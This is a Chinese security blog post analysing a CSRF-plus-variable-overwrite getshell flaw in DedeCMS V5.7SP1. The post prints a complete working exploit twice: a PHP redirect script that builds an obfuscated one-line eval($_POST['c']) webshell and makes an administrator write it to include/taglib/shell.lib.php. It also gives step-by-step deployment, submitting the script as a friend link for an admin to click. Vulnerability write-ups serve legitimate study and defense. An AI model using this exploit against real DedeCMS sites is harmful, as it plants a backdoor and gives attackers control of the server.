Braid信息安全博客 - Web安全|代码审计|安全开发|Java|php|python

【PHP代码审计】 DedeCMS V5.7SP1正式版GetShell漏洞分析

0x01 前言

最近做众测,遇到一个dedecms站点,故搜集了下最新可以利用的漏洞,使用为官网目前最新版本V5.7SP1正式版(2016-09-06),友情链接处输入exp链接,后台管理员点击后触发。
这个漏洞涉及如下知识点:

1.文件写入
2.变量覆盖
3.CSRF

exp代码:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

0x02 漏洞分析

/dede/tpl.php

else if($action=='savetagfile')
{
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
$msg = "
<form name='form1' action='tag_test_action.php' target='blank' method='post'>
<input type='hidden' name='dopost' value='make' />
<b>测试标签:</b>(需要使用环境变量的不能在此测试)<br/>
<textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea><br />
<input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
</form>
";

$wintitle = "成功修改/创建文件!";
$wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> &gt;&gt; 修改/新建标签";
$win = new OxWindow();
$win->AddTitle("修改/新建标签:");
$win->AddMsgItem($msg);
$winform = $win->GetWindow("hand","&nbsp;",false);
$win->Display();
exit();
}

可以看到这里是个写文件的操作,而且这里的$filename和$content变量均没有初始化,所以如果存在变量覆盖的话就可以利用了~
我们再来查看dedecms的common.inc.php文件:

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}

经典的变量覆盖代码!
加上CSRF没判断来源(自行分析)导致可在申请友链处填写exp代码诱骗后台管理员点击即可触发~~~

0x03 漏洞证明

exp如下:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

将该exp保存为exp.php放置于vps上,然后在申请友情链接处将其设置为友情链接

当管理员进入后台审核该友链时,点击百度一下,你就知道即可触发~

我们查看下include/taglib目录即可发现shell.lib.php的一句话后门